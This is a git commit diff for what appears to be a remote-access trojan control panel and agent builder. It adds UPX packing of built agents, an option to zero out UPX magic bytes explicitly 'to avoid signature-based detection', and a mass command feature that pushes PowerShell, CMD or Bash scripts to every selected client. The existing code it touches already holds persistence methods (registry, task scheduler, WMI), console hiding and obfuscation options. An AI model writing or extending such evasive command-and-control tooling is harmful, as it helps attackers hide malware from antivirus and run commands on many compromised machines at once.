feat: UPX compression, mass command, Windows-only badges
This commit is contained in:
@@ -1,3 +1,7 @@
|
|||||||
|
# Local notes (never push)
|
||||||
|
TODO-IMPROVEMENTS.md
|
||||||
|
upx-reference.txt
|
||||||
|
|
||||||
# Node/Bun
|
# Node/Bun
|
||||||
node_modules/
|
node_modules/
|
||||||
bun.lockb
|
bun.lockb
|
||||||
|
|||||||
@@ -103,6 +103,18 @@ if (obfuscateCheckbox && garbleSettingsContainer) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const upxCheckbox = document.querySelector('input[name="enable-upx"]');
|
||||||
|
const upxSettingsContainer = document.getElementById("upx-settings-container");
|
||||||
|
if (upxCheckbox && upxSettingsContainer) {
|
||||||
|
upxCheckbox.addEventListener("change", () => {
|
||||||
|
if (upxCheckbox.checked) {
|
||||||
|
upxSettingsContainer.classList.remove("hidden");
|
||||||
|
} else {
|
||||||
|
upxSettingsContainer.classList.add("hidden");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
let pendingIconBase64 = null;
|
let pendingIconBase64 = null;
|
||||||
const iconUpload = document.getElementById("icon-upload");
|
const iconUpload = document.getElementById("icon-upload");
|
||||||
const iconLabel = document.getElementById("icon-label");
|
const iconLabel = document.getElementById("icon-label");
|
||||||
@@ -294,6 +306,8 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
assemblyVersion: assemblyVersion || undefined,
|
assemblyVersion: assemblyVersion || undefined,
|
||||||
assemblyCopyright: assemblyCopyright || undefined,
|
assemblyCopyright: assemblyCopyright || undefined,
|
||||||
iconBase64: pendingIconBase64 || undefined,
|
iconBase64: pendingIconBase64 || undefined,
|
||||||
|
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
|
||||||
|
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
|
||||||
};
|
};
|
||||||
|
|
||||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||||
|
|||||||
@@ -586,6 +586,46 @@ bulkUninstallBtn?.addEventListener("click", async () => {
|
|||||||
setTimeout(() => loadWithOptions({ force: true }), 1000);
|
setTimeout(() => loadWithOptions({ force: true }), 1000);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const massCmdInput = document.getElementById("mass-cmd-input");
|
||||||
|
const massCmdType = document.getElementById("mass-cmd-type");
|
||||||
|
const massCmdRun = document.getElementById("mass-cmd-run");
|
||||||
|
|
||||||
|
massCmdRun?.addEventListener("click", async () => {
|
||||||
|
const cmd = massCmdInput?.value.trim();
|
||||||
|
if (!cmd) {
|
||||||
|
alert("Enter a command to execute.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const scriptType = massCmdType?.value || "powershell";
|
||||||
|
const count = selectedClients.size;
|
||||||
|
if (count === 0) return;
|
||||||
|
if (!confirm(`Execute on ${count} client(s)?\n\n[${scriptType}] ${cmd}`)) return;
|
||||||
|
|
||||||
|
massCmdRun.disabled = true;
|
||||||
|
massCmdRun.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Running...';
|
||||||
|
let success = 0;
|
||||||
|
for (const clientId of selectedClients) {
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ action: "script_exec", script: cmd, scriptType }),
|
||||||
|
});
|
||||||
|
if (res.ok) success++;
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
massCmdRun.disabled = false;
|
||||||
|
massCmdRun.innerHTML = '<i class="fa-solid fa-terminal"></i> Execute';
|
||||||
|
alert(`Command sent to ${success}/${count} clients`);
|
||||||
|
});
|
||||||
|
|
||||||
|
massCmdInput?.addEventListener("keydown", (e) => {
|
||||||
|
if (e.key === "Enter") {
|
||||||
|
e.preventDefault();
|
||||||
|
massCmdRun?.click();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
window.toggleClientSelection = toggleClientSelection;
|
window.toggleClientSelection = toggleClientSelection;
|
||||||
window.isClientSelected = (clientId) => selectedClients.has(clientId);
|
window.isClientSelected = (clientId) => selectedClients.has(clientId);
|
||||||
window.syncClientSelection = syncSelectionState;
|
window.syncClientSelection = syncSelectionState;
|
||||||
|
|||||||
@@ -375,7 +375,8 @@
|
|||||||
<div class="flex flex-col">
|
<div class="flex flex-col">
|
||||||
<span class="flex items-center gap-2"
|
<span class="flex items-center gap-2"
|
||||||
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
|
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
|
||||||
Hide Console Window (Windows)</span
|
Hide Console Window
|
||||||
|
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
|
||||||
>
|
>
|
||||||
<span class="text-xs text-slate-500"
|
<span class="text-xs text-slate-500"
|
||||||
>Builds Windows EXEs as GUI apps (no console)</span
|
>Builds Windows EXEs as GUI apps (no console)</span
|
||||||
@@ -401,6 +402,37 @@
|
|||||||
>
|
>
|
||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
|
<label
|
||||||
|
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
|
||||||
|
title="Compress binaries with UPX to reduce file size"
|
||||||
|
>
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
name="enable-upx"
|
||||||
|
class="w-4 h-4"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2"
|
||||||
|
><i class="fa-solid fa-compress text-cyan-400"></i>
|
||||||
|
UPX Compression</span
|
||||||
|
>
|
||||||
|
<span class="text-xs text-slate-500"
|
||||||
|
>Compress binaries with UPX (requires UPX installed on server)</span
|
||||||
|
>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
<div
|
||||||
|
id="upx-settings-container"
|
||||||
|
class="hidden pl-3 border-l-2 border-cyan-500/40"
|
||||||
|
>
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
|
||||||
|
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span>Strip UPX Headers</span>
|
||||||
|
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -435,9 +467,9 @@
|
|||||||
|
|
||||||
<!-- Windows Assembly / PE Metadata -->
|
<!-- Windows Assembly / PE Metadata -->
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2">
|
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
|
||||||
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
|
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
|
||||||
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows only)</span>
|
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
|
||||||
</label>
|
</label>
|
||||||
<div class="flex flex-col gap-2">
|
<div class="flex flex-col gap-2">
|
||||||
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
|
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
|
||||||
@@ -455,9 +487,10 @@
|
|||||||
|
|
||||||
<!-- Icon Upload -->
|
<!-- Icon Upload -->
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2">
|
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
|
||||||
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
|
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
|
||||||
<span class="text-xs text-slate-500 font-normal ml-1">(optional, Windows .ico, max 1MB)</span>
|
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
|
||||||
|
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
|
||||||
</label>
|
</label>
|
||||||
<div class="flex items-center gap-3">
|
<div class="flex items-center gap-3">
|
||||||
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
|
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
|
||||||
|
|||||||
@@ -112,7 +112,7 @@
|
|||||||
<!-- Bulk Actions Toolbar -->
|
<!-- Bulk Actions Toolbar -->
|
||||||
<div
|
<div
|
||||||
id="bulk-toolbar"
|
id="bulk-toolbar"
|
||||||
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex items-center justify-between gap-3"
|
class="hidden bg-indigo-900/40 border border-indigo-700/60 rounded-lg p-3 flex flex-wrap items-center justify-between gap-3"
|
||||||
>
|
>
|
||||||
<div class="flex items-center gap-2">
|
<div class="flex items-center gap-2">
|
||||||
<i class="fa-solid fa-check-double text-indigo-300"></i>
|
<i class="fa-solid fa-check-double text-indigo-300"></i>
|
||||||
@@ -120,7 +120,7 @@
|
|||||||
><span id="selected-count">0</span> selected</span
|
><span id="selected-count">0</span> selected</span
|
||||||
>
|
>
|
||||||
</div>
|
</div>
|
||||||
<div class="flex items-center gap-2">
|
<div class="flex items-center gap-2 flex-wrap">
|
||||||
<button
|
<button
|
||||||
id="bulk-screenshot"
|
id="bulk-screenshot"
|
||||||
class="px-3 py-2 rounded-lg bg-indigo-800/60 hover:bg-indigo-700 text-indigo-100 border border-indigo-600 transition-colors"
|
class="px-3 py-2 rounded-lg bg-indigo-800/60 hover:bg-indigo-700 text-indigo-100 border border-indigo-600 transition-colors"
|
||||||
@@ -146,6 +146,28 @@
|
|||||||
Clear
|
Clear
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="flex items-center gap-2 w-full mt-2">
|
||||||
|
<select
|
||||||
|
id="mass-cmd-type"
|
||||||
|
class="px-2 py-2 rounded-lg bg-slate-800/80 border border-slate-600 text-slate-200 text-sm"
|
||||||
|
>
|
||||||
|
<option value="powershell">PowerShell</option>
|
||||||
|
<option value="cmd">CMD</option>
|
||||||
|
<option value="bash">Bash</option>
|
||||||
|
</select>
|
||||||
|
<input
|
||||||
|
id="mass-cmd-input"
|
||||||
|
type="text"
|
||||||
|
placeholder="Run command on selected clients..."
|
||||||
|
class="flex-1 px-3 py-2 bg-slate-900/70 border border-slate-600 rounded-lg text-slate-100 placeholder:text-slate-500 text-sm focus:outline-none focus:border-amber-500"
|
||||||
|
/>
|
||||||
|
<button
|
||||||
|
id="mass-cmd-run"
|
||||||
|
class="px-3 py-2 rounded-lg bg-amber-700/70 hover:bg-amber-600 text-amber-100 border border-amber-600 transition-colors text-sm whitespace-nowrap"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-terminal"></i> Execute
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div id="grid" class="flex flex-col gap-3"></div>
|
<div id="grid" class="flex flex-col gap-3"></div>
|
||||||
<div class="flex items-center justify-center gap-3 py-4">
|
<div class="flex items-center justify-center gap-3 py-4">
|
||||||
|
|||||||
@@ -32,4 +32,6 @@ export type BuildConfig = {
|
|||||||
assemblyVersion?: string;
|
assemblyVersion?: string;
|
||||||
assemblyCopyright?: string;
|
assemblyCopyright?: string;
|
||||||
iconBase64?: string;
|
iconBase64?: string;
|
||||||
|
enableUpx?: boolean;
|
||||||
|
upxStripHeaders?: boolean;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -76,8 +76,134 @@ type BuildProcessConfig = {
|
|||||||
assemblyVersion?: string;
|
assemblyVersion?: string;
|
||||||
assemblyCopyright?: string;
|
assemblyCopyright?: string;
|
||||||
iconBase64?: string;
|
iconBase64?: string;
|
||||||
|
enableUpx?: boolean;
|
||||||
|
upxStripHeaders?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
async function ensureUpxAvailable(sendToStream: (data: any) => void): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
const check = await $`upx --version`.quiet().nothrow();
|
||||||
|
if (check.exitCode === 0) {
|
||||||
|
const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx";
|
||||||
|
sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" });
|
||||||
|
return "upx";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
sendToStream({ type: "output", text: "UPX not found, attempting auto-install...\n", level: "info" });
|
||||||
|
|
||||||
|
const isWindows = process.platform === "win32";
|
||||||
|
|
||||||
|
if (!isWindows) {
|
||||||
|
try {
|
||||||
|
const apt = await $`apt-get install -y upx-ucl 2>&1`.nothrow().quiet();
|
||||||
|
if (apt.exitCode === 0) {
|
||||||
|
sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" });
|
||||||
|
return "upx";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
try {
|
||||||
|
const apt2 = await $`apt-get install -y upx 2>&1`.nothrow().quiet();
|
||||||
|
if (apt2.exitCode === 0) {
|
||||||
|
sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" });
|
||||||
|
return "upx";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
try {
|
||||||
|
const yum = await $`yum install -y upx 2>&1`.nothrow().quiet();
|
||||||
|
if (yum.exitCode === 0) {
|
||||||
|
sendToStream({ type: "output", text: "UPX installed via yum\n", level: "info" });
|
||||||
|
return "upx";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isWindows) {
|
||||||
|
try {
|
||||||
|
const winget = await $`winget install --id upx.upx -e --accept-source-agreements --accept-package-agreements 2>&1`.nothrow().quiet();
|
||||||
|
if (winget.exitCode === 0) {
|
||||||
|
sendToStream({ type: "output", text: "UPX installed via winget\n", level: "info" });
|
||||||
|
return "upx";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
try {
|
||||||
|
const choco = await $`choco install upx -y 2>&1`.nothrow().quiet();
|
||||||
|
if (choco.exitCode === 0) {
|
||||||
|
sendToStream({ type: "output", text: "UPX installed via chocolatey\n", level: "info" });
|
||||||
|
return "upx";
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
const arch = process.arch === "x64" ? "amd64" : process.arch === "arm64" ? "arm64" : "amd64";
|
||||||
|
const plat = isWindows ? "win64" : "amd64_linux";
|
||||||
|
const upxVersion = "4.2.4";
|
||||||
|
const archiveName = `upx-${upxVersion}-${plat}`;
|
||||||
|
const ext = isWindows ? "zip" : "tar.xz";
|
||||||
|
const url = `https://github.com/upx/upx/releases/download/v${upxVersion}/${archiveName}.${ext}`;
|
||||||
|
const tmpDir = path.join(ensureDataDir(), "upx-install");
|
||||||
|
fs.mkdirSync(tmpDir, { recursive: true });
|
||||||
|
const archivePath = path.join(tmpDir, `upx.${ext}`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
sendToStream({ type: "output", text: `Downloading UPX from ${url}...\n`, level: "info" });
|
||||||
|
const dlResult = await $`curl -fsSL -o ${archivePath} ${url}`.nothrow().quiet();
|
||||||
|
if (dlResult.exitCode !== 0) {
|
||||||
|
sendToStream({ type: "output", text: "WARNING: Failed to download UPX. Skipping compression.\n", level: "warn" });
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isWindows) {
|
||||||
|
await $`tar -xf ${archivePath} -C ${tmpDir}`.nothrow().quiet();
|
||||||
|
} else {
|
||||||
|
await $`tar -xJf ${archivePath} -C ${tmpDir}`.nothrow().quiet();
|
||||||
|
}
|
||||||
|
|
||||||
|
const upxBinName = isWindows ? "upx.exe" : "upx";
|
||||||
|
const extractedDir = path.join(tmpDir, archiveName);
|
||||||
|
const upxBin = path.join(extractedDir, upxBinName);
|
||||||
|
|
||||||
|
if (fs.existsSync(upxBin)) {
|
||||||
|
if (!isWindows) {
|
||||||
|
await $`chmod +x ${upxBin}`.nothrow().quiet();
|
||||||
|
}
|
||||||
|
sendToStream({ type: "output", text: `UPX downloaded to ${upxBin}\n`, level: "info" });
|
||||||
|
return upxBin;
|
||||||
|
}
|
||||||
|
|
||||||
|
sendToStream({ type: "output", text: "WARNING: UPX binary not found after extraction. Skipping compression.\n", level: "warn" });
|
||||||
|
return null;
|
||||||
|
} catch (err: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: UPX auto-install failed: ${err.message || err}. Skipping compression.\n`, level: "warn" });
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function stripUpxHeaders(filePath: string): boolean {
|
||||||
|
try {
|
||||||
|
const buf = Buffer.from(fs.readFileSync(filePath));
|
||||||
|
const UPX_MAGIC = Buffer.from("UPX!");
|
||||||
|
let modified = false;
|
||||||
|
let offset = 0;
|
||||||
|
while (offset < buf.length - 3) {
|
||||||
|
const idx = buf.indexOf(UPX_MAGIC, offset);
|
||||||
|
if (idx === -1) break;
|
||||||
|
buf[idx] = 0x00;
|
||||||
|
buf[idx + 1] = 0x00;
|
||||||
|
buf[idx + 2] = 0x00;
|
||||||
|
buf[idx + 3] = 0x00;
|
||||||
|
modified = true;
|
||||||
|
offset = idx + 4;
|
||||||
|
}
|
||||||
|
if (modified) {
|
||||||
|
fs.writeFileSync(filePath, buf);
|
||||||
|
}
|
||||||
|
return modified;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||||
|
|
||||||
type BuildProcessDeps = {
|
type BuildProcessDeps = {
|
||||||
@@ -244,6 +370,14 @@ export async function startBuildProcess(
|
|||||||
sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" });
|
sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let upxBin: string | null = null;
|
||||||
|
if (config.enableUpx) {
|
||||||
|
upxBin = await ensureUpxAvailable(sendToStream);
|
||||||
|
if (!upxBin) {
|
||||||
|
sendToStream({ type: "output", text: "WARNING: UPX could not be installed. Compression will be skipped.\n", level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
|
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
|
||||||
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
|
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
|
||||||
|
|
||||||
@@ -530,15 +664,42 @@ export async function startBuildProcess(
|
|||||||
}
|
}
|
||||||
|
|
||||||
const filePath = `${outDir}/${outputName}`;
|
const filePath = `${outDir}/${outputName}`;
|
||||||
const file = Bun.file(filePath);
|
let finalSize = Bun.file(filePath).size;
|
||||||
const size = file.size;
|
|
||||||
|
if (upxBin) {
|
||||||
|
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
|
||||||
|
const originalSize = finalSize;
|
||||||
|
try {
|
||||||
|
const upxResult = await $`${upxBin} --best ${filePath}`.nothrow().quiet();
|
||||||
|
if (upxResult.exitCode !== 0) {
|
||||||
|
const stderr = upxResult.stderr.toString().trim();
|
||||||
|
sendToStream({ type: "output", text: `WARNING: UPX compression failed (exit ${upxResult.exitCode}): ${stderr}\n`, level: "warn" });
|
||||||
|
} else {
|
||||||
|
finalSize = Bun.file(filePath).size;
|
||||||
|
const ratio = ((1 - finalSize / originalSize) * 100).toFixed(1);
|
||||||
|
sendToStream({ type: "output", text: `UPX compressed: ${originalSize} → ${finalSize} bytes (${ratio}% reduction)\n`, level: "info" });
|
||||||
|
|
||||||
|
if (config.upxStripHeaders) {
|
||||||
|
const stripped = stripUpxHeaders(filePath);
|
||||||
|
if (stripped) {
|
||||||
|
finalSize = Bun.file(filePath).size;
|
||||||
|
sendToStream({ type: "output", text: `UPX headers stripped (signature removed)\n`, level: "info" });
|
||||||
|
} else {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: No UPX signatures found to strip\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (upxErr: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
(build.files as any[]).push({
|
(build.files as any[]).push({
|
||||||
name: outputName,
|
name: outputName,
|
||||||
filename: outputName,
|
filename: outputName,
|
||||||
platform,
|
platform,
|
||||||
version: agentVersion,
|
version: agentVersion,
|
||||||
size,
|
size: finalSize,
|
||||||
});
|
});
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
|
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
|
||||||
|
|||||||
@@ -62,6 +62,8 @@ export async function handleBuildRoutes(
|
|||||||
assemblyVersion,
|
assemblyVersion,
|
||||||
assemblyCopyright,
|
assemblyCopyright,
|
||||||
iconBase64,
|
iconBase64,
|
||||||
|
enableUpx,
|
||||||
|
upxStripHeaders,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||||
@@ -168,6 +170,8 @@ export async function handleBuildRoutes(
|
|||||||
assemblyVersion: safeAssemblyVersion,
|
assemblyVersion: safeAssemblyVersion,
|
||||||
assemblyCopyright: safeStr(assemblyCopyright),
|
assemblyCopyright: safeStr(assemblyCopyright),
|
||||||
iconBase64: safeIconBase64,
|
iconBase64: safeIconBase64,
|
||||||
|
enableUpx: !!enableUpx,
|
||||||
|
upxStripHeaders: !!upxStripHeaders,
|
||||||
});
|
});
|
||||||
|
|
||||||
return Response.json({ buildId });
|
return Response.json({ buildId });
|
||||||
|
|||||||
Reference in New Issue
Block a user